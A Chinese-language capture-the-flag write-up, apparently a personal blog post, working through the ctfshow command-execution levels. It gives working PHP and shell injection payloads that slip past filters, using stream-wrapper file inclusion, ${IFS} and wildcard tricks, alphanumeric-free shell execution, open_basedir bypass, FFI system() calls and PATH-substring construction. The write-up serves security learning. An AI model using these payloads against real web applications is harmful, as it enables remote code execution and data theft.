ctfshow-命令执行
WEB-32(绕括号,分号)
include不用括号,分号可以用?>
代替
利用文件包含+伪协议
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
WEB-37(data协议 日志包含 绕flag)
文件包含用data协议base64编码绕flag正则
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
或者先/一句话木马
再日志包含 注意url编码问题
WEB-39(文件包含有后缀干扰)
1 | c=data:text/plain,<?php system('cat f*')?> |
前面的php语句已经闭合了,所以后面的.php
会被当成纯文本直接显示在页面上,起不到什么作用 。
WEB-40(无参RCE构造)
解法一
无参RCE构造 根据buu一道题目的套娃来做
1 | ?c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
具体可以看我的文章https://z1d10t.github.io/post/2ed7a105.html?highlight=%E5%A5%97%E5%A8%83
解法二
1 | ?c=eval(array_pop(next(get_defined_vars()))); |
post一个1=system('cmd');
get_defined_vars() — 返回由所有已定义变量所组成的数组
发现有post数组 然后post一个值
post:1=phpinfo();
将其弹出并且执行就行 这里指针在第一个元素 将其指向第二个元素 即我们需要的
array_pop — 弹出数组最后一个单元(出栈)
这里在弹出前用next指针指向了 所以并没有弹出最后一个元素,我是这么理解的
1 | ?c=print_r(array_pop(next(get_defined_vars()))); |
得到了我们需要的,然后eval执行就行了
WEB-41(或运算)
直接当个脚本小子:)
https://blog.csdn.net/miuzzx/article/details/108569080
WEB-42(黑洞)
具体可以看https://www.cnblogs.com/tinywan/p/6025468.html
1 | system($c." >/dev/null 2>&1"); |
简单说就算$c
的内容都会被重定向到一个黑洞
就是没有任何输出,相当于被吞掉了
通过%0a,%20
截断绕过就行了
WEB-43(&&)
逻辑与
先执行左边,只有左边为真,才会执行右边
注意一下这里&&
要url编码一下
WEB-45(绕空格)
1 | ${IFS} |
1 | ?c=tac${IFS}fla*.php%0a |
WEB-46~51(重定向绕空格数字$)
参考:http://c.biancheng.net/view/942.html
关于 2>&1
?c=tac<fla''g.php||
或者nl也行
就是将flag.php作为tac的输入 然后利用||
逻辑或绕%0a和&&
输入重定向去绕空格
WEB-51(${IFS}绕空格)
waf了重定向符
或者用${IFS}或者$IFS
其实两者是相等的
关于${}
1 | ?c=nl${IFS}/fla?|| |
WEB-53(空字符绕空格)
不是你这个flag文件夹能不能别老是变动
1 | ?c=nl${IFS}/fla? |
WEB-54(绕正则)
关于.*
linux一切都是文件 通过文件执行命令 在bin目录下存放着命令文件 我们一般调用命令系统就会调用这里的文件(我是这么认为的)
1 | ?c=/bin/?at${IFS}f??????? |
?是通配符 去模糊匹配一个字符
WEB-55~56(无字母数字rce)
解法一
参考p神https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
认识source和.
也就是说source或者.
当然这道题目只能用.
来执行我们文件中命令 也就是把我们的文件当作脚本运行
不知道为什么我本地没打通 估计是后续这个漏洞被修复了
那么就需要一个包含我们恶意命令的文件 直接构造一个post上传的数据包
1 |
|
当我们上传上去之后 PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
然后在进行.
和linux通配符组合拳去打
这里payload根据p神的文章?c=. /???/????????[@-[]
要利用[@-[]
去限制下最后一位为大写 不然匹配到很多文件无结果 因此打payload的时候有时候会匹配不到 用bp多提交几次就行
随便上传一个文件 然后内容:
1 | #!/bin/sh |
当然bash或者zsh等等都行 shell具体解释器都可以
解法二
其实也是利用通配符去执行命令文件 ?c=/???/????64 ????.???
其实就是去执行 /bin/base64 flag.php
WEB-57(特殊方法构造数字)
根据题目flag在36.php中 那么我们只需要构造出数字36即可
首先来认识一下${_}和$(())
${_}
是一种特殊的变量,它表示上一个命令的最后一个参数
注意一下 如果没有上一个命令则表示为空
在Linux中,$(())
是一种用于进行数学运算的特殊语法结构。它通常用于shell脚本中,用于求值一个数学表达式并返回结果。
那么计算空字符就是0 可以$((${_}))
打组合拳
这样就可以构造出数字了
再通过按位取反不断的构造出数字 当时对按位取反还是有点疑惑 不过知乎上一篇稿子解答了我的疑惑https://zhuanlan.zhihu.com/p/161465089
计算机所有二进制输出都是补码的形式 这句话解答了我对补码的疑惑
简单理解就是如下:
然后通过取反得到-1 再拼接得到-2
这样不断的拼接到-37 然后再取反就得到36了
payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
WEB-58~65(文件读取函数)
system一类的函数都被禁了 所以只能用php中的特殊函数 用文件读取的函数读就行了
post:c=show_source('flag.php');
c=highlight_file('flag.php');
有很多类似于无参rce构造呢种套娃
WEB-66(waf show_source())
1 | c=print_r(scandir('/')); |
当前目录下的flag.php是假的
show_source()被waf了 用highlight_file()读flag.txt即可
1 | c=highlight_file('/flag.txt'); |
WEB-67(waf print_r())
用var_dump() bypass即可
1 | c=highlight_file('/flag.txt'); |
WEB-68~70(waf highlight_file())
因为禁用了highlight_file()所以源码也不显示了 2333 而且好多题目的payload都可以打通好几个关卡 题目太多质量真不太行
1 | c=include('/flag.txt'); |
WEB-71(输出缓冲区)
给了源码
1 |
|
涉及到输出缓冲区知识
ob_get_contents()
ob_end_clean()
根据源码 我的理解是将eval()输出的内容会到输出缓存区
然后通过ob_get_contents()函数赋值给s 然后通过一个正则匹配将内容替换不让我们得到我们想要的flag
那么如果我们执行完eval()函数之后不进行之后的操作就可以bypass了 这也是官方payload的原理
因为根据官方文档 exit是个语法结构 如果不输出一个消息 则可以省略圆括号 就有下面两种paylaod
1 | c=include('/flag.txt');exit; |
WEB-72(php原生类+UAF)
这道题目看大佬的WP是 开启了open_basedir。
因此需要打组合拳
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
这道题目用到了php原生类 之前有了解过 https://xz.aliyun.com/t/9293#toc-13
1 | c= |
先通过这个payload 获取flag文件名
首先通过?>
先闭合之前的<?php
再通过原生类DirectoryIterator()不断遍历来获取根目录下的文件
glob://协议 查找匹配的文件路径模式
glob:///*
应该怎么理解呢 就是查找 根目录下/*
这里的*
就是linux的通配符 就是说根目录下的所有文件都被会读取
__toString()方法可以获取字符串形式的文件名
读取的时候需要不断地遍历 因此需要
发现flag在flag0.txt 之后是pwn的知识我挺懵逼的
通过UAF脚本去读flag 挺夸张的
WEB-72~74(php原生类)
和上面一样通过原生类获取flag文件名 然后这里可以直接用include()函数读flag即可
1 | c=include('/flagc.txt');exit; |
WEB-75~76(mysql load_file())
这题目太抽象了 连接mysql通过mysql的load_file()去读文件 。。。
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
WEB-77(FFI)
我的理解是让php直接调用底层c语言的函数利用c代码实现功能
1 | c=$ffi = FFI::cdef("int system(const char *command);"); |
FFI::cdef()创建一个FFI对象
然后利用c语言调用system()函数
WEB-118(${PATH})
fuzz一下发现只能用 大写字母A-Z和${}~.?:
通过linux环境变量截取字母方式构造rce
关于PATH
然后截取我们想要的字母RCE即可
构造 nl flag.php
${PATH:~A}${PWD:~A}$IFS????.???
这里A和数字0是一样的效果都是下标 然后~
表示从末尾开始截取
在这里我们的默认位置为/var/www/html
因此才能截取到l
WEB-119~124(奇淫构造paylaod)
wal了PATH直接偷了payload
119:
1 | /bin/cat flag.php |
120:
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
121:
1 | /bin/bash64 |
122:
#
和 SHLVL
都不能用了,可以用$?
来表示1
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
但是默认$?
默认为0 可以 <A
返回的错误值 使得 $?
为1
paylaod:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
多试几次就能成功
124:
buuctf Love math一模一样的题目 我博客也写过不赘述了
payload稍稍不同
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php |
结尾:
哦 终于结束这一章了 断断续续三天日完了 做吐了 开启下一章! Keep Hacking!